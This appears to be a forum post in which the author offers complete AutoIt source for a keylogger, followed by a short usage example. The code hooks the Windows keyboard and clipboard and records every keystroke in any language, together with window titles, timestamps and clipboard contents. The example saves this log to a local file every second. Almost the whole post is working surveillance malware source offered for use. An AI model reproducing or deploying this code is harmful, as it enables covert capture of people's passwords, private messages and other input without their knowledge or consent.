hi Mr m3 you can use my keylogger detects any character in any language
#Coded By CELTIC88 DEVPOINT 2014
Global $USER32 = DllOpen("user32.dll")
Global Const $WM_KEYDOWN = 0x0100
Global Const $WM_SYSKEYDOWN = 0x0104
Global Const $WM_SYSKEYUP = 0x0105
Global Const $WM_KEYUP = 0x0101
Global Const $WH_KEYBOARD_LL = 13
Global Const $WM_DRAWCLIPBOARD = 0x0308
Global Const $WM_CHANGECBCHAIN = 0x030D
OnAutoItExitRegister("OnAutoItExit")
Global $Key = _KeyArray()
Global $LastActiveWinTitle
Global $KeyLogger
Global $keyboardLayout
Global $Date = @YEAR & "-" & @MON & "-" & @MDAY
Global $ShowsystemkeyState = 1
Global $GUiClip, $origHWND
Global $hHook, $hStub_KeyProc
Func _StartKeylog()
$KeyLogger &= @CRLF & " - KeyLogger Started - " & @CRLF
$GetAcWinKeyboardLayout = _GetwindowkboardLayout(WinGetHandle(''))
$KeyLogger &= @CRLF & " - Keyboard Language : " & _WinAPI_GetLocaleInfo(Number('0x' & Hex($GetAcWinKeyboardLayout, 4)), 0x0002) & @CRLF
$keyboardLayout = $GetAcWinKeyboardLayout
$KeyLogger &= @CRLF & " - Date : " & $Date & " - " & @CRLF
_StartHookClipBoard()
_StartHookKeyBoard()
EndFunc ;==>_StartKeylog
Func _StopKeylog()
$KeyLogger &= @CRLF & " - KeyLogger Stopted - " & @CRLF
_UnHookClipBoard()
_UnHookKeyBoard()
EndFunc ;==>_StopKeylog
Func _StartHookClipBoard()
If $GUiClip <> "" Then Return
$GUiClip = GUICreate('')
$origHWND = _ClipBoard_SetViewer($GUiClip)
GUIRegisterMsg($WM_DRAWCLIPBOARD, "_OnClipBoardChange")
GUIRegisterMsg($WM_CHANGECBCHAIN, "_OnClipBoardViewerChange")
_GEtClipboard()
EndFunc ;==>_StartHookClipBoard
Func _StartHookKeyBoard()
If $hHook <> "" Then Return
$hStub_KeyProc = DllCallbackRegister("_KeyProc", "long", "int;wparam;lparam")
Local $hmod = _WinAPI_GetModuleHandle(0)
$hHook = _WinAPI_SetWindowsHookEx($WH_KEYBOARD_LL, DllCallbackGetPtr($hStub_KeyProc), $hmod)
EndFunc ;==>_StartHookKeyBoard
Func _UnHookClipBoard()
If $GUiClip = "" Then Return
_ClipBoard_ChangeChain($GUiClip, $origHWND)
GUIDelete($GUiClip)
GUIRegisterMsg($WM_DRAWCLIPBOARD, "")
GUIRegisterMsg($WM_CHANGECBCHAIN, "")
$GUiClip = ""
$origHWND = ""
EndFunc ;==>_UnHookClipBoard
Func _UnHookKeyBoard()
If $hHook = "" Then Return
_WinAPI_UnhookWindowsHookEx($hHook)
DllCallbackFree($hStub_KeyProc)
$Key = _KeyArray()
$LastActiveWinTitle = ""
$hHook = ""
$hStub_KeyProc = ""
EndFunc ;==>_UnHookKeyBoard
Func _GetKeyLogger()
If $KeyLogger = "" Then Return ""
$Curlog = $KeyLogger
$Countkey = StringLen($Curlog)
$KeyLogger = StringTrimLeft($KeyLogger, $Countkey)
Return $Curlog
EndFunc ;==>_GetKeyLogger
Func _LogKey($MActivewin, $Mkey)
$TGetdate = @YEAR & "-" & @MON & "-" & @MDAY
If $Date <> $TGetdate Then
$KeyLogger &= @CRLF & " - Date : " & $TGetdate & " - " & @CRLF
$Date = $TGetdate
EndIf
If $LastActiveWinTitle <> $MActivewin Then
$GethWndTitle = WinGetTitle($MActivewin)
$KeyLogger &= @CRLF & "[" & @HOUR & ":" & @MIN & ":" & @SEC & ' WINDOW : " ' & $GethWndTitle & ' "]' & @CRLF
$LastActiveWinTitle = $MActivewin
EndIf
$KeyLogger &= $Mkey
EndFunc ;==>_LogKey
Func _iHoldkey($keycode)
If $Key[$keycode][1] = "" Then Return
If $ShowsystemkeyState = 0 Then Return
$Key[$keycode][2] = ""
If $Key[$keycode][1] = "Key_No_UP" Then Return
_LogKey(WinGetHandle(''), $Key[$keycode][1])
EndFunc ;==>_iHoldkey
Func _EvaluateKey($keycode)
$GetForegroundWindow = WinGetHandle('')
If $Key[164][2] = "" And $Key[165][2] = "" Then
If $Key[162][2] = 1 Or $Key[163][2] = 1 Then
_LogKey($GetForegroundWindow, Chr($keycode))
Return
EndIf
EndIf
If $Key[$keycode][0] <> "" Then
If $ShowsystemkeyState = 0 Then
If $Key[$keycode][1] <> "" Then Return
EndIf
If $Key[$keycode][1] <> "" Then
If $Key[$keycode][2] = 1 Then Return
$Key[$keycode][2] = 1
EndIf
Switch $keycode
Case 20
If _GetKeyState(20) Then
$Key[$keycode][0] = " [CAPS_LK_OFF] "
Else
$Key[$keycode][0] = " [CAPS_LK_ON] "
EndIf
Case 144
If _GetKeyState(144) Then
$Key[$keycode][0] = " [NUM_LK_OFF] "
Else
$Key[$keycode][0] = " [NUM_LK_ON] "
EndIf
Case 145
If _GetKeyState(145) Then
$Key[$keycode][0] = " [SCROLL_LK_OFF] "
Else
$Key[$keycode][0] = " [SCROLL_LK_ON] "
EndIf
EndSwitch
_LogKey($GetForegroundWindow, $Key[$keycode][0])
Return
EndIf
$lpKeyState = DllStructCreate("byte[256]")
$Lptr = DllStructGetPtr($lpKeyState)
If Not _User32_GetKeyboardState($Lptr) Then Return
$MVirtualKey = _User32_MapVirtualKey($keycode, 0)
$GetAcWinKeyboardLayout = _GetwindowkboardLayout($GetForegroundWindow)
If $keyboardLayout <> $GetAcWinKeyboardLayout Then
$KeyLogger &= @CRLF & " - Keyboard Language : " & _WinAPI_GetLocaleInfo(Number('0x' & Hex($GetAcWinKeyboardLayout, 4)), 0x0002) & @CRLF
$keyboardLayout = $GetAcWinKeyboardLayout
EndIf
$RKey = _User32_ToUnicodeEx($keycode, $MVirtualKey, $Lptr, "", 5, 0, $GetAcWinKeyboardLayout)
If @error Then $RKey = Chr($keycode)
If $RKey = "" Then Return
$lpKeyState = 0
_LogKey($GetForegroundWindow, $RKey)
EndFunc ;==>_EvaluateKey
Func _KeyProc($nCode, $wParam, $lParam)
If $nCode = 0 Then
Switch $wParam
Case $WM_KEYDOWN, $WM_SYSKEYDOWN
$KEYHOOKSTRUCT = DllStructCreate("dword;dword;dword;dword;ptr", $lParam)
$vKode = DllStructGetData($KEYHOOKSTRUCT, 1)
_GetKeyState($vKode)
_EvaluateKey($vKode)
$KEYHOOKSTRUCT = 0
Case $WM_SYSKEYUP, $WM_KEYUP
$KEYHOOKSTRUCT = DllStructCreate("dword;dword;dword;dword;ptr", $lParam)
$vKode = DllStructGetData($KEYHOOKSTRUCT, 1)
_iHoldkey($vKode)
$KEYHOOKSTRUCT = 0
EndSwitch
EndIf
Return _WinAPI_CallNextHookEx($hHook, $nCode, $wParam, $lParam)
EndFunc ;==>_KeyProc
Func OnAutoItExit()
_StopKeylog()
DllClose($USER32)
EndFunc ;==>OnAutoItExit
Func _KeyArray()
Local $KeyArray[256][3]
$KeyArray[9][0] = @TAB
$KeyArray[32][0] = Chr(32)
$KeyArray[8][0] = " [BS] "
$KeyArray[13][0] = " [ENTER] "
$KeyArray[12][0] = " [CLEAR] "
$KeyArray[19][0] = " [PAUSE] "
$KeyArray[27][0] = " [ESC] "
$KeyArray[33][0] = " [PAGE_UP] "
$KeyArray[34][0] = " [PAGE_DOWN] "
$KeyArray[35][0] = " [END] "
$KeyArray[36][0] = " [HOME] "
$KeyArray[37][0] = " [LEFT] "
$KeyArray[38][0] = " [UP] "
$KeyArray[39][0] = " [RIGHT] "
$KeyArray[40][0] = " [DOWN] "
$KeyArray[41][0] = " [SELECT] "
$KeyArray[42][0] = " [PRINT] "
$KeyArray[43][0] = " [EXECUTE] "
$KeyArray[44][0] = " [PRINT_SCREEN] "
$KeyArray[45][0] = " [INS] "
$KeyArray[46][0] = " [DEL] "
$KeyArray[47][0] = " [HELP] "
$KeyArray[91][0] = " [L_WINDOWS] "
$KeyArray[92][0] = " [R_WINDOWS] "
$KeyArray[93][0] = " [MENU] "
$KeyArray[95][0] = " [SLEEP] "
$KeyArray[112][0] = " [F1] "
$KeyArray[113][0] = " [F2] "
$KeyArray[114][0] = " [F3] "
$KeyArray[115][0] = " [F4] "
$KeyArray[116][0] = " [F5] "
$KeyArray[117][0] = " [F6] "
$KeyArray[118][0] = " [F7] "
$KeyArray[119][0] = " [F8] "
$KeyArray[120][0] = " [F9] "
$KeyArray[121][0] = " [F10] "
$KeyArray[122][0] = " [F11] "
$KeyArray[123][0] = " [F12] "
$KeyArray[124][0] = " [F13] "
$KeyArray[125][0] = " [F14] "
$KeyArray[126][0] = " [F15] "
$KeyArray[127][0] = " [F16] "
$KeyArray[128][0] = " [F17] "
$KeyArray[129][0] = " [F18] "
$KeyArray[130][0] = " [F19] "
$KeyArray[131][0] = " [F20] "
$KeyArray[132][0] = " [F21] "
$KeyArray[133][0] = " [F22] "
$KeyArray[134][0] = " [F23] "
$KeyArray[135][0] = " [F24] "
$KeyArray[20][0] = " [CAPS_LK] "
$KeyArray[144][0] = " [NUM_LK] "
$KeyArray[145][0] = " [SCROLL_LK] "
$KeyArray[20][1] = "Key_No_UP"
$KeyArray[144][1] = "Key_No_UP"
$KeyArray[145][1] = "Key_No_UP"
$KeyArray[160][0] = " [L_SHIFT_ON] "
$KeyArray[161][0] = " [R_SHIFT_ON] "
$KeyArray[162][0] = " [L_CONTROL_ON] "
$KeyArray[163][0] = " [R_CONTROL_ON] "
$KeyArray[164][0] = " [L_MENU_ON] "
$KeyArray[165][0] = " [R_MENU_ON] "
$KeyArray[16][0] = " [SHIFT_ON] "
$KeyArray[17][0] = " [CTRL_ON] "
$KeyArray[18][0] = " [ALT_ON] "
$KeyArray[160][1] = " [L_SHIFT_OFF] "
$KeyArray[161][1] = " [R_SHIFT_OFF] "
$KeyArray[162][1] = " [L_CONTROL_OFF] "
$KeyArray[163][1] = " [R_CONTROL_OFF] "
$KeyArray[164][1] = " [L_MENU_OFF] "
$KeyArray[165][1] = " [R_MENU_OFF] "
$KeyArray[16][1] = " [SHIFT_OFF] "
$KeyArray[17][1] = " [CTRL_OFF] "
$KeyArray[18][1] = " [ALT_OFF] "
$KeyArray[166][0] = " [BROWSER_BACK] "
$KeyArray[167][0] = " [BROWSER_FORWARD] "
$KeyArray[168][0] = " [BROWSER_REFRESH] "
$KeyArray[169][0] = " [BROWSER_STOP] "
$KeyArray[170][0] = " [BROWSER_SEARCH] "
$KeyArray[171][0] = " [BROWSER_FAVORITES] "
$KeyArray[172][0] = " [BROWSER_START_HOME] "
$KeyArray[173][0] = " [VOLUME_MUTE] "
$KeyArray[174][0] = " [VOLUME_DOWN] "
$KeyArray[175][0] = " [VOLUME_UP] "
$KeyArray[176][0] = " [NEXT_TRACK] "
$KeyArray[177][0] = " [PREVIOUS_TRACK] "
$KeyArray[178][0] = " [STOP_MEDIA] "
$KeyArray[179][0] = " [PLAY/PAUSE_MEDIA] "
$KeyArray[180][0] = " [START_MAIL] "
$KeyArray[181][0] = " [SELECT_MEDIA] "
$KeyArray[182][0] = " [START_APPLICATION_1] "
$KeyArray[183][0] = " [START_APPLICATION_2] "
$KeyArray[246][0] = " [ATTN] "
$KeyArray[247][0] = " [CRSEL] "
$KeyArray[248][0] = " [EXSEL] "
$KeyArray[249][0] = " [ERASE_EOF] "
$KeyArray[250][0] = " [PLAY] "
$KeyArray[251][0] = " [ZOOM] "
$KeyArray[252][0] = " [RESERVED] "
$KeyArray[253][0] = " [PA1_KEY] "
$KeyArray[254][0] = " [OEM_CLEAR_KEY] "
$KeyArray[226][0] = " [OEM_102] "
$KeyArray[21][0] = " [IME_KANA] "
$KeyArray[21][0] = " [IME_HANGUEL] "
$KeyArray[21][0] = " [IME_HANGUL] "
$KeyArray[23][0] = " [IME_JUNJA] "
$KeyArray[24][0] = " [IME_FINAL] "
$KeyArray[25][0] = " [IME_HANJA] "
$KeyArray[25][0] = " [IME_KANJI] "
$KeyArray[28][0] = " [IME_CONVERT] "
$KeyArray[29][0] = " [IME_NONCONVERT] "
$KeyArray[30][0] = " [IME_ACCEPT] "
$KeyArray[31][0] = " [IME_MODE] "
$KeyArray[229][0] = " [IME_PROCESS] "
Return $KeyArray
EndFunc ;==>_KeyArray
Func _GEtClipboard()
Local $GetClip = ClipGet()
If $GetClip <> "" Then $KeyLogger &= " [CLIPBOARD : " & StringRegExpReplace($GetClip, "\r\n|\r|\n", " [LINE_BRK] ") & "] "
EndFunc ;==>_GEtClipboard
Func _OnClipBoardChange($hWnd, $Msg, $wParam, $lParam)
_GEtClipboard()
_SendMessage($origHWND, $WM_DRAWCLIPBOARD, $wParam, $lParam)
EndFunc ;==>_OnClipBoardChange
Func _OnClipBoardViewerChange($hWnd, $Msg, $wParam, $lParam)
If $wParam = $origHWND Then
$origHWND = $lParam
Else
_SendMessage($origHWND, $WM_CHANGECBCHAIN, $wParam, $lParam)
EndIf
EndFunc ;==>_OnClipBoardViewerChange
Func _WinAPI_GetModuleHandle($sModuleName)
Local $aResult = DllCall("kernel32.dll", "handle", "GetModuleHandleW", "ptr", $sModuleName)
If @error Then Return SetError(@error, @extended, 0)
Return $aResult[0]
EndFunc ;==>_WinAPI_GetModuleHandle
Func _WinAPI_GetLocaleInfo($iLCID, $iType)
Local $aRet = DllCall('kernel32.dll', 'int', 'GetLocaleInfoW', 'dword', $iLCID, 'dword', $iType, 'wstr', '', 'int', 2048)
If @error Or Not $aRet[0] Then Return SetError(@error + 10, @extended, '')
Return $aRet[3]
EndFunc ;==>_WinAPI_GetLocaleInfo
Func _WinAPI_SetWindowsHookEx($idHook, $pFn, $hmod, $iThreadId = 0)
Local $aResult = DllCall($USER32, "handle", "SetWindowsHookEx", "int", $idHook, "ptr", $pFn, "handle", $hmod, "dword", $iThreadId)
If @error Then Return SetError(@error, @extended, 0)
Return $aResult[0]
EndFunc ;==>_WinAPI_SetWindowsHookEx
Func _WinAPI_CallNextHookEx($hHk, $iCode, $wParam, $lParam)
Local $aResult = DllCall($USER32, "lresult", "CallNextHookEx", "handle", $hHk, "int", $iCode, "wparam", $wParam, "lparam", $lParam)
If @error Then Return SetError(@error, @extended, -1)
Return $aResult[0]
EndFunc ;==>_WinAPI_CallNextHookEx
Func _WinAPI_UnhookWindowsHookEx($hHk)
Local $aResult = DllCall($USER32, "bool", "UnhookWindowsHookEx", "handle", $hHk)
If @error Then Return SetError(@error, @extended, False)
Return $aResult[0]
EndFunc ;==>_WinAPI_UnhookWindowsHookEx
Func _GetKeyState($ivkCode)
Local $aRet = DllCall($USER32, 'short', 'GetKeyState', 'int', $ivkCode)
If @error Then Return SetError(@error, @extended, 0)
Return $aRet[0]
EndFunc ;==>_GetKeyState
Func _User32_GetKeyboardState($lpKeyState)
Local $vRetVal = DllCall($USER32, "int", "GetKeyboardState", "ptr", $lpKeyState)
If @error Then Return SetError(@error, @extended, 0)
Return $vRetVal[0]
EndFunc ;==>_User32_GetKeyboardState
Func _User32_ToUnicodeEx($wVirtKey, $wScanCode, $lpKeyState, $pwszBuff, $cchBuff, $wFlags, $dwhkl)
Local $vRetVal = DllCall($USER32, "int", "ToUnicodeEx", "UINT", $wVirtKey, "UINT", $wScanCode, "ptr", $lpKeyState, "wstr", $pwszBuff, "int", $cchBuff, "UINT", $wFlags, "hwnd", $dwhkl)
If @error Then Return SetError(@error, @extended, 0)
Return $vRetVal[4]
EndFunc ;==>_User32_ToUnicodeEx
Func _User32_MapVirtualKey($uCode, $uMapType)
Local $vRetVal = DllCall($USER32, "UINT", "MapVirtualKey", "UINT", $uCode, "UINT", $uMapType)
If @error Then Return SetError(@error, @extended, 0)
Return $vRetVal[0]
EndFunc ;==>_User32_MapVirtualKey
Func _GetwindowkboardLayout($hWnd)
Local $aRet
$aRet = DllCall($USER32, "long", "GetWindowThreadProcessId", "hwnd", $hWnd, "ptr", 0)
If @error Then Return SetError(@error, @extended, 0)
$aRet = DllCall($USER32, "long", "GetKeyboardLayout", "long", $aRet[0])
If @error Then Return SetError(@error, @extended, 0)
Return $aRet[0]
EndFunc ;==>_GetwindowkboardLayout
Func _ClipBoard_SetViewer($hViewer)
Local $aResult = DllCall($USER32, "hwnd", "SetClipboardViewer", "hwnd", $hViewer)
If @error Then Return SetError(@error, @extended, 0)
Return $aResult[0]
EndFunc ;==>_ClipBoard_SetViewer
Func _ClipBoard_ChangeChain($hRemove, $hNewNext)
DllCall($USER32, "bool", "ChangeClipboardChain", "hwnd", $hRemove, "hwnd", $hNewNext)
If @error Then Return SetError(@error, @extended)
EndFunc ;==>_ClipBoard_ChangeChain
Func _SendMessage($hWnd, $WM_Code, $wParamType, $lParamType)
Local $aResult = DllCall($USER32, "int", "SendMessage", "hWnd", $hWnd, "int", $WM_Code, "hwnd", $wParamType, "hwnd", $lParamType)
If @error Then Return SetError(@error, @extended, "")
Return $aResult
EndFunc ;==>_SendMessage
Exemple
#include <Keylogger.au3>
_startkeylog()
Global $filekdata = FileOpen("KDATA", 129)
If $filekdata = -1 Then
MsgBox(0, "Error", "Unable to open file.")
Exit
EndIf
AdlibRegister("_Get_keylooger", 1000)
While True
Sleep(1000)
WEnd
Func _get_keylooger()
$_keylog = _getkeylogger()
If $_keylog <> "" Then FileWrite($filekdata, $_keylog)
EndFunc
Func _exit()
_StopKeylog()
FileClose($filekdata)
EndFunc